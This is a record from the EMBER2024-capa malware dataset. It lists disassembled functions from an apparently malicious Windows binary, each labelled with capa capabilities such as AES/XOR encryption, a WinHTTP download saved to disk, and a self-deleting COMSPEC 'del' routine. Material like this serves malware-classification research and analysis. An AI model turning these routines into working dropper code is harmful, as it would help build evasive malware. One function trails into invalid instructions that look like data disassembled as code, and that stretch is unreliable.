joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cd0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push r15
mov r11, rcx
mov r8, rdx
push r14
mov r14d, 9
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov qword [rsp + 0x98], rdx
mov rdx, rcx
mov ecx, 0xa
call fcn.00402b09
lea rax, [r11 + 4]
mov qword [rsp + 0x28], rax
lea rax, [r11 + 0x10]
mov qword [rsp + 0x30], rax
mov dl, byte [r11 + 9]
mov al, byte [r11 + 0xd]
mov rbx, r11
mov byte [r11 + 0xd], dl
mov dl, byte [r11 + 5]
mov byte [r11 + 9], dl
mov dl, byte [r11 + 1]
mov byte [r11 + 1], al
mov al, byte [r11 + 2]
mov byte [r11 + 5], dl
mov dl, byte [r11 + 0xa]
mov byte [r11 + 0xa], al
mov al, byte [r11 + 6]
mov byte [r11 + 2], dl
mov dl, byte [r11 + 0xe]
mov byte [r11 + 0xe], al
mov al, byte [r11 + 3]
mov byte [r11 + 6], dl
mov dl, byte [r11 + 7]
mov byte [r11 + 3], dl
mov dl, byte [r11 + 0xb]
mov byte [r11 + 7], dl
mov dl, byte [r11 + 0xf]
mov byte [r11 + 0xf], al
mov rax, r11
mov byte [r11 + 0xb], dl
mov rdx, rax
xor ecx, ecx
movzx r8d, byte [rdx]
lea rdi, [0x00403500]
inc ecx
add rdx, 4
mov r8b, byte [rdi + r8]
mov byte [rdx - 4], r8b
cmp cl, 4
jne 0x402d7e
inc rax
cmp qword [rsp + 0x28], rax
jne 0x402d79
mov r8, qword [rsp + 0x98]
mov rdx, r11
mov ecx, r14d
call fcn.00402b09
test r14d, r14d
je 0x402f13
mov al, byte [rbx]
mov r15b, byte [rbx + 3]
mov byte [rsp + 0x3a], al
mov al, byte [rbx + 1]
movzx ecx, byte [rsp + 0x3a]
mov byte [rsp + 0x3b], al
mov al, byte [rbx + 2]
mov byte [rsp + 0x3c], al
call fcn.00402b40
movzx ecx, al
mov byte [rsp + 0x3d], al
call fcn.00402b40
movzx ecx, al
mov r8d, ecx
call fcn.00402b40
movzx ecx, byte [rsp + 0x3b]
mov edi, eax
call fcn.00402b40
movzx ecx, al
mov r9d, ecx
call fcn.00402b40
movzx ecx, al
mov byte [rsp + 0x3e], al
call fcn.00402b40
movzx ecx, byte [rsp + 0x3c]
mov esi, eax
call fcn.00402b40
movzx ecx, al
mov byte [rsp + 0x3f], cl
call fcn.00402b40
movzx ecx, al
mov r13d, ecx
call fcn.00402b40
movzx ecx, r15b
mov r10d, eax
call fcn.00402b40
movzx ecx, al
mov r12d, ecx
call fcn.00402b40
movzx ecx, al
mov ebp, ecx
call fcn.00402b40
mov dl, byte [rsp + 0x3f]
mov ecx, eax
mov al, byte [rsp + 0x3d]
xor eax, r8d
xor eax, edi
xor eax, r9d
xor eax, esi
xor eax, r13d
xor eax, r10d
xor eax, ecx
xor al, byte [rsp + 0x3b]
xor eax, dword [rsp + 0x3c]
xor eax, r15d
mov byte [rbx], al
mov eax, r9d
xor eax, edi
xor al, byte [rsp + 0x3e]
xor eax, esi
xor eax, edx
xor eax, r10d
xor eax, ebp
xor eax, ecx
xor al, byte [rsp + 0x3a]
xor eax, dword [rsp + 0x3c]
xor eax, r15d
xor r8d, edi
add rbx, 4
xor r8d, esi
mov byte [rbx - 3], al
mov al, byte [rsp + 0x3d]
xor edx, r8d
xor r13d, edx
xor eax, edi
xor r13d, r10d
xor r13d, r12d
xor r13d, ecx
xor r13b, byte [rsp + 0x3a]
xor r13b, byte [rsp + 0x3b]
xor r15d, r13d
mov byte [rbx - 2], r15b
xor al, byte [rsp + 0x3e]
xor esi, eax
xor r10d, esi
xor r12d, r10d
xor ebp, r12d
xor ebp, ecx
xor bpl, byte [rsp + 0x3a]
xor bpl, byte [rsp + 0x3b]
xor ebp, dword [rsp + 0x3c]
mov byte [rbx - 1], bpl
cmp qword [rsp + 0x30], rbx
jne 0x402dc2
dec r14d
jmp 0x402d13
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x403004
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
push r13
push r12
mov r12, r8
push rdi
mov rdi, rdx
push rsi
mov rsi, rcx
push rbx
xor ebx, ebx
and rsp, 0xfffffffffffffff0
sub rsp, 0x20
lea r13, [rdi + rbx]
cmp rbx, r12
jae 0x40305e
mov rdx, rsi
mov rcx, r13
movups xmm0, xmmword [rdi + rbx]
call fcn.00402cd0
xor eax, eax
mov dl, byte [rsi + rax + 0xb0]
xor byte [r13 + rax], dl
inc rax
cmp rax, 0x10
jne 0x40303c
movups xmmword [rsi + 0xb0], xmm0
add rbx, 0x10
jmp 0x403022
lea rsp, [rbp - 0x28]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret
Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
wait
sbb al, 0xa3
invalid
adc edx, esi
sub dword [rax], ebp
retf
invalid
fild qword [rbx]
xlatb
invalid
jmp 0x14003f6be
adc cl, dl
sbb esp, edi
popfq
or bl, byte [rax - 0x15]
xchg ebx, eax
retf
xchg edi, eax
mov esi, 0x474296c6
xchg edi, eax
fcom qword [rcx + 0x29]
je 0x14003f65e
js 0x14003f671
cmp eax, 0xff487344
xchg ebx, eax
invalid
call qword [rbx - 0x29fd88e1]
pop rbx
lodsb al, byte [rsi]
mov ecx, 0xefc1bbed
retf 0x6e52
outsb dx, byte [rsi]
outsb dx, byte [rsi]
and dword [rsi + 0x4814b73c], eax
or dl, byte [rcx - 0x6ded986]
xchg ecx, eax
jp 0x14003f71b
and ecx, edi
xchg ecx, eax
jp 0x14003f71b
and ecx, edi
rcl ebp, 1
push rdx
invalid
jl str.DsH
push rdi
call [rdx + riz*2 - 0x6f9ab8e]
pushfq
invalid
xor al, 0x83
sbb al, 0xa6
jg 0x14003f6fa
mov qword [rsp + r15*2 - 0x1f4d4f11], rcx
invalid
jl 0x14003f70c
mov al, 0xb2
loopne 0x14003f70b
and al, 0xe6
movsb byte [rdi], byte [rsi]
int1
xchg byte [rax + rdx*8], bl
fnstsw word fs:[rsi - 0xcba556]
xor r14b, byte [r10]
insd dword [rdi], dx
iretd

Function at 0x14000727c
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
lea rax, [r11 + 0x18]
mov r9, rdx
mov r8, rcx
mov qword [r11 - 0x10], rax
xor edi, edi
mov edx, 0x1000
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbp, rax
test rax, rax
je 0x140007342
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007306
lea rsi, [rbx + 0x10]
xor edx, edx
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007303
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbx]
lea rcx, [0x140020640]
mov rdx, rsi
call fcn.1400123b8
jmp 0x140007306
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1400072d3
mov rdx, qword [0x14001f118]
lea rcx, [0x140020640]
mov rdi, rdx
inc rdx
mov qword [0x14001f118], rdx
lea edx, [rbx + 0x20]
call fcn.140012400
lea rcx, [0x140021210]
mov qword [rax], rbp
mov qword [rax + 8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov rax, rdi
add rsp, 0x30
pop rdi
ret
Function at 0x140005978
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400059c2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400059c2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400059c2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400059c2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400059c2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400059c4
xor al, al
add rsp, 0x28
ret
Function at 0x140007104
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x20
xor ebx, ebx
mov qword [rcx + 0x18], 0xf
mov qword [rcx + 0x10], rbx
mov r15d, r8d
mov byte [rcx], bl
mov r14, rcx
mov esi, ebx
test r8d, r8d
je 0x1400072a2
mov ecx, ebx
lea edi, [rbx + 3]
mov al, byte [rdx]
dec r15d
mov byte [rbp + rcx + 0x50], al
inc rdx
mov r8b, byte [rbp + 0x52]
inc rcx
mov r12b, byte [rbp + 0x51]
inc esi
mov r13b, byte [rbp + 0x50]
mov qword [rbp + 0x48], rdx
cmp rcx, rdi
jne 0x1400071e0
mov al, r13b
mov cl, r13b
shr al, 2
and cl, dil
mov byte [rbp + 0x40], al
mov rsi, rbx
shl cl, 4
mov al, r12b
shr al, 4
add cl, al
mov al, r8b
mov byte [rbp + 0x41], cl
mov cl, r12b
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, r8b
and al, 0x3f
mov byte [rbp + 0x42], cl
mov byte [rbp + 0x43], al
cmp qword [0x14004cb38], 0x10
lea rcx, [0x14004cb20]
movzx eax, byte [rbp + rsi + 0x40]
cmovae rcx, qword [0x14004cb20]
mov dl, byte [rax + rcx]
mov rcx, r14
call fcn.1400072c0
inc rsi
cmp rsi, 4
jl 0x1400071a3
mov rdx, qword [rbp + 0x48]
mov esi, ebx
mov r8b, byte [rbp + 0x52]
mov rcx, rbx
test r15d, r15d
jne 0x140007141
test esi, esi
je 0x1400072a2
movsxd rax, esi
cmp rax, rdi
jge 0x140007217
jae 0x1400072ba
mov byte [rbp + rax + 0x50], bl
inc rax
cmp rax, rdi
jl 0x1400071f9
mov r8b, byte [rbp + 0x52]
mov r12b, byte [rbp + 0x51]
mov r13b, byte [rbp + 0x50]
mov al, r13b
and r13b, dil
shr al, 2
mov byte [rbp + 0x40], al
mov al, r12b
shr al, 4
and r12b, 0xf
shl r13b, 4
add r13b, al
shl r12b, 2
mov al, r8b
mov byte [rbp + 0x41], r13b
shr al, 6
and r8b, 0x3f
add r12b, al
mov byte [rbp + 0x43], r8b
lea eax, [rsi + 1]
mov byte [rbp + 0x42], r12b
movsxd r15, eax
test eax, eax
jle 0x14000728a
cmp qword [0x14004cb38], 0x10
lea rcx, [0x14004cb20]
movzx eax, byte [rbp + rbx + 0x40]
cmovae rcx, qword [0x14004cb20]
mov dl, byte [rax + rcx]
mov rcx, r14
call fcn.1400072c0
inc rbx
cmp rbx, r15
jl 0x14000725b
cmp esi, edi
jge 0x1400072a2
sub edi, esi
mov ebx, edi
mov dl, 0x3d
mov rcx, r14
call fcn.1400072c0
sub rbx, 1
jne 0x140007292
mov rbx, qword [rsp + 0x78]
mov rax, r14
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14000d04c
int3
Function at 0x140007474
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x14004c020]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov r8d, 0x104
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400075cf
mov r8d, 0x104
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x1400075cf
mov r8d, 0x104
lea rdx, [rbp + 0x1b0]
lea rcx, str.COMSPEC
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1400075cf
lea rdx, str._c_del
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.___nul
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
and qword [rsp + 0x28], 0
lea rax, str.Open
and qword [rsp + 0x48], 0
lea rcx, [rsp + 0x20]
and dword [rsp + 0x50], 0
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 0x70
mov dword [rsp + 0x24], 0x40
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x1400075cf
mov rcx, qword [rbp - 0x78]
mov edx, 0x40
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor r9d, r9d
lea r8, [rbp - 0x70]
lea edx, [r9 + 1]
lea ecx, [rdx + 3]
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.14000cc60
add rsp, 0x3d0
pop rbp
ret
Function at 0x1400075ec
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x13c0
call fcn.14000d570
sub rsp, rax
mov rax, qword [0x14004c020]
xor rax, rsp
mov qword [rsp + 0x13b0], rax
and qword [rcx + 0x10], 0
mov rbx, rcx
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
call fcn.14000a960
or dword [rsp + 0x13a4], 0xffffffff
mov edx, eax
mov dword [rsp + 0x24], eax
mov ecx, 1
mov r8d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x24], edx
inc rcx
cmp rcx, r8
jb 0x140007642
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], r8d
call fcn.140007874
mov ecx, eax
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 3
imul eax, eax, 0xe
sub ecx, eax
add ecx, 1
je 0x1400076cd
mov edi, ecx
lea rcx, [rsp + 0x20]
call fcn.140007874
mov r8d, eax
mov rcx, rbx
mov eax, 0x38e38e39
mul r8d
shr edx, 3
lea eax, [rdx + rdx*8]
mov edx, 0x30
shl eax, 2
sub r8d, eax
cmp r8b, 0xa
lea eax, [rdx + 7]
cmovge edx, eax
add dl, r8b
call fcn.1400072c0
sub rdi, 1
jne 0x14000768c
mov rax, rbx
mov rcx, qword [rsp + 0x13b0]
xor rcx, rsp
call fcn.14000cc60
mov rbx, qword [rsp + 0x13d8]
add rsp, 0x13c0
pop rdi
ret
Function at 0x140007874
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rdi
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400078d3
lea r8, [r9 + 8]
mov r11d, 0x7fffffff
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, r11d
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140007893
mov ecx, dword [r9]
jmp 0x1400079b1
cmp ecx, 0x4e0
jb 0x1400079b1
lea r10, [r9 + 0x9c4]
mov edi, 0xe3
mov eax, dword [r10]
mov r11d, 0x7fffffff
lea r8, [r10 + 4]
mov edx, dword [r8]
xor edx, eax
and edx, r11d
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub rdi, 1
jne 0x1400078f4
lea r10, [r9 + 0xd50]
mov edi, 0x18c
mov eax, dword [r10]
mov edx, eax
lea r8, [r10 + 4]
xor edx, dword [r8]
and edx, r11d
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd4c]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub rdi, 1
jne 0x14000793d
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 4]
and edx, r11d
xor edx, dword [r9 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov rdi, qword [rsp + 8]
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret
Function at 0x14000819c
Capabilities:
Delete file
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14004c020]
xor rax, rsp
mov qword [rsp + 0x48], rax
and qword [rsp + 0x30], 0
mov rsi, r8
mov eax, 2
mov edi, edx
mov rbx, rcx
mov dword [rsp + 0x28], eax
mov rcx, rsi
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
test rax, rax
je 0x140008230
and dword [rsp + 0x40], 0
lea r9, [rsp + 0x40]
and qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
cmp ebx, eax
jne 0x140008232
cmp edi, dword [rsp + 0x40]
je 0x140008232
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000cc60
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000846c
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14004c020]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
xor r9d, r9d
and dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
xor edi, edi
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdx, rax
lea rcx, str.hSession__08x_n
mov rsi, rax
call fcn.140007fe0
test rsi, rsi
je 0x1400084da
mov r8d, 0x1bb
lea rdx, [0x1400470b0]
xor r9d, r9d
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rdi, rax
mov rdx, rdi
lea rcx, str.hConnect__08x_n
call fcn.140007fe0
test rdi, rdi
je 0x14000851d
mov dword [rsp + 0x30], 0x800000
lea r8, [0x1400470ac]
and qword [rsp + 0x28], rbx
lea rdx, [0x140047128]
and qword [rsp + 0x20], rbx
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
mov rdx, rbx
lea rcx, str.hRequest__08x_n
call fcn.140007fe0
test rbx, rbx
je 0x140008605
mov r9d, 4
mov dword [rsp + 0x40], 0x3300
lea r8, [rsp + 0x40]
mov rcx, rbx
lea edx, [r9 + 0x1b]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
and qword [rsp + 0x30], 0
xor r9d, r9d
and dword [rsp + 0x28], 0
xor r8d, r8d
and dword [rsp + 0x20], 0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140008605
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x14000861e
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov ecx, dword [rsp + 0x40]
test eax, eax
jne 0x1400085ab
test ecx, ecx
jne 0x14000861e
call fcn.14001aaa8
mov rbp, rax
test rax, rax
je 0x14000861e
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov ecx, 1
call fcn.140015b18
mov r8d, dword [rsp + 0x40]
mov r9, rax
mov edx, 1
mov rcx, rbp
call fcn.14001ad00
mov rcx, rbp
call fcn.140018d68
cmp dword [rsp + 0x44], 0
je 0x14000861e
cmp dword [rsp + 0x40], 0
ja 0x140008591
jmp 0x14000861e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_has_occurred._n
call fcn.140007fe0
test rbx, rbx
je 0x140008627
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test rdi, rdi
je 0x140008635
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test rsi, rsi
je 0x140008643
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000cc60
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140009d80
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140009dad
xor eax, eax
jmp 0x140009ea7
cmp qword [rcx + 0x68], 0
je 0x140009dc1
lfence
call fcn.140009ec0
jmp 0x140009ea7
mov rax, qword [rcx + 0x38]
mov rbp, rdi
mov rdx, qword [rax]
test rdx, rdx
je 0x140009dd8
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140009dda
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140009e0c
cmp rax, rdi
mov rbx, rdi
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400109a0
mov rax, qword [rsi + 0x50]
add r14, rbx
sub rbp, rbx
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140009e9e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140009e47
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov rbx, rbp
mov r15d, 0xfff
jmp 0x140009e77
mov r9, qword [rsi + 0x80]
mov r8, r15
mov edx, 1
mov rcx, r14
call fcn.14001b808
sub rbp, rax
add r14, rax
mov rbx, rbp
cmp rax, r15
jne 0x140009e9e
cmp rbp, r15
ja 0x140009e52
test rbx, rbx
je 0x140009e9e
mov r9, qword [rsi + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, r14
call fcn.14001b808
mov rbp, rbx
sub rbp, rax
sub rdi, rbp
mov rax, rdi
lfence
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x14001fa48
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001f874
Function at 0x1400119e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x140011a19
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140011b07
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x140011aaf
cmp qword [rsp + 0x20], 0
jle 0x140011aaf
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x140011a59
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.140016fa0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rsp + 0x50], 0
jle 0x140011af7
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x140011af7
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret